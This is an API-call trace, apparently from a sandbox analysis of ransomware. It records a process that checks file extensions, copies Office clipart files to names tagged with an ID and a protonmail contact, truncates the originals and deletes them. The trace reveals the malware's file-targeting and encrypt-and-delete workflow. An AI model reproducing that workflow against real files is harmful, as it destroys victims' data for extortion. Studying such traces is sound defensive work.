	[0175.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.113] lstrlenW (lpString=".dbf") returned 4
	[0175.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.113] lstrlenW (lpString=".1cd") returned 4
	[0175.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0175.113] lstrlenW (lpString=".jpg") returned 4
	[0175.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.114] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.114] lstrlenW (lpString="HH00334_.WMF") returned 12
	[0175.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.114] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1528) returned 1
	[0175.114] CloseHandle (hObject=0x5b4) returned 1
	[0175.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220
	[0175.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.115] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.115] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.116] GetLastError () returned 0x0
	[0175.116] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x5f8, lpOverlapped=0x0) returned 1
	[0175.118] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x600, lpOverlapped=0x0) returned 1
	[0175.119] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.119] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.119] SetEndOfFile (hFile=0x594) returned 1
	[0175.119] CloseHandle (hObject=0x594) returned 1
	[0175.119] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.119] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.122] CloseHandle (hObject=0x5b4) returned 1
	[0175.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0175.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.127] lstrlenW (lpString=".doc") returned 4
	[0175.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.127] lstrlenW (lpString=".docx") returned 5
	[0175.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.127] lstrlenW (lpString=".pdf") returned 4
	[0175.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.127] lstrlenW (lpString=".xls") returned 4
	[0175.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.127] lstrlenW (lpString=".xlsx") returned 5
	[0175.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.127] lstrlenW (lpString=".ppt") returned 4
	[0175.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.127] lstrlenW (lpString=".zip") returned 4
	[0175.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.128] lstrlenW (lpString=".rar") returned 4
	[0175.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString=".bz2") returned 4
	[0175.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString=".7z") returned 3
	[0175.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.128] lstrlenW (lpString=".dbf") returned 4
	[0175.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.128] lstrlenW (lpString=".1cd") returned 4
	[0175.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.128] lstrlenW (lpString=".jpg") returned 4
	[0175.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.128] lstrlenW (lpString=".doc") returned 4
	[0175.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString=".docx") returned 5
	[0175.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.128] lstrlenW (lpString=".pdf") returned 4
	[0175.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString=".xls") returned 4
	[0175.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.128] lstrlenW (lpString=".xlsx") returned 5
	[0175.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.128] lstrlenW (lpString=".ppt") returned 4
	[0175.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.129] lstrlenW (lpString=".zip") returned 4
	[0175.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.129] lstrlenW (lpString=".rar") returned 4
	[0175.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.129] lstrlenW (lpString=".bz2") returned 4
	[0175.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.129] lstrlenW (lpString=".7z") returned 3
	[0175.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.129] lstrlenW (lpString=".dbf") returned 4
	[0175.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.129] lstrlenW (lpString=".1cd") returned 4
	[0175.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0175.129] lstrlenW (lpString=".jpg") returned 4
	[0175.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.129] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.129] lstrlenW (lpString="HH00443_.WMF") returned 12
	[0175.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.130] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3298) returned 1
	[0175.131] CloseHandle (hObject=0x5b4) returned 1
	[0175.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220
	[0175.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.131] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.131] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.132] GetLastError () returned 0x0
	[0175.132] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xce2, lpOverlapped=0x0) returned 1
	[0175.134] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0175.135] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.135] WriteFile (in: hFile=0x594, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.135] SetEndOfFile (hFile=0x594) returned 1
	[0175.135] CloseHandle (hObject=0x594) returned 1
	[0175.135] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.135] SetEndOfFile (hFile=0x5b4) returned 1
	[0175.138] CloseHandle (hObject=0x5b4) returned 1
	[0175.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0175.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0175.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString=".doc") returned 4
	[0175.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString=".docx") returned 5
	[0175.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.249] lstrlenW (lpString=".pdf") returned 4
	[0175.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString=".xls") returned 4
	[0175.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.249] lstrlenW (lpString=".xlsx") returned 5
	[0175.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.249] lstrlenW (lpString=".ppt") returned 4
	[0175.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString=".zip") returned 4
	[0175.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.249] lstrlenW (lpString=".rar") returned 4
	[0175.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString=".bz2") returned 4
	[0175.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString=".7z") returned 3
	[0175.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString=".dbf") returned 4
	[0175.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString=".1cd") returned 4
	[0175.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.249] lstrlenW (lpString=".jpg") returned 4
	[0175.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString=".doc") returned 4
	[0175.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString=".docx") returned 5
	[0175.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0175.250] lstrlenW (lpString=".pdf") returned 4
	[0175.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString=".xls") returned 4
	[0175.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.250] lstrlenW (lpString=".xlsx") returned 5
	[0175.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0175.250] lstrlenW (lpString=".ppt") returned 4
	[0175.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString=".zip") returned 4
	[0175.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.250] lstrlenW (lpString=".rar") returned 4
	[0175.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString=".bz2") returned 4
	[0175.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString=".7z") returned 3
	[0175.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString=".dbf") returned 4
	[0175.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString=".1cd") returned 4
	[0175.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0175.250] lstrlenW (lpString=".jpg") returned 4
	[0175.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.251] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0175.251] lstrlenW (lpString="HH00527_.WMF") returned 12
	[0175.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.360] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5798) returned 1
	[0175.360] CloseHandle (hObject=0x594) returned 1
	[0175.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220
	[0175.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0176.266] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.266] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.670] GetLastError () returned 0x0
	[0176.670] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x16a6, lpOverlapped=0x0) returned 1
	[0176.672] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x16b0, lpOverlapped=0x0) returned 1
	[0176.673] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.673] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.673] SetEndOfFile (hFile=0x574) returned 1
	[0176.674] CloseHandle (hObject=0x574) returned 1
	[0176.674] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.674] SetEndOfFile (hFile=0x538) returned 1
	[0176.677] CloseHandle (hObject=0x538) returned 1
	[0176.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.678] lstrlenW (lpString=".doc") returned 4
	[0176.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString=".docx") returned 5
	[0176.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.678] lstrlenW (lpString=".pdf") returned 4
	[0176.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString=".xls") returned 4
	[0176.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.678] lstrlenW (lpString=".xlsx") returned 5
	[0176.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.678] lstrlenW (lpString=".ppt") returned 4
	[0176.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.678] lstrlenW (lpString=".zip") returned 4
	[0176.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.678] lstrlenW (lpString=".rar") returned 4
	[0176.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString=".bz2") returned 4
	[0176.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString=".7z") returned 3
	[0176.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.678] lstrlenW (lpString=".dbf") returned 4
	[0176.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.678] lstrlenW (lpString=".1cd") returned 4
	[0176.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString=".jpg") returned 4
	[0176.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString=".doc") returned 4
	[0176.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString=".docx") returned 5
	[0176.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.679] lstrlenW (lpString=".pdf") returned 4
	[0176.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString=".xls") returned 4
	[0176.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.679] lstrlenW (lpString=".xlsx") returned 5
	[0176.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.679] lstrlenW (lpString=".ppt") returned 4
	[0176.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0176.679] lstrlenW (lpString=".zip") returned 4
	[0176.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.679] lstrlenW (lpString=".rar") returned 4
	[0176.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString=".bz2") returned 4
	[0176.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.679] lstrlenW (lpString=".7z") returned 3
	[0176.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
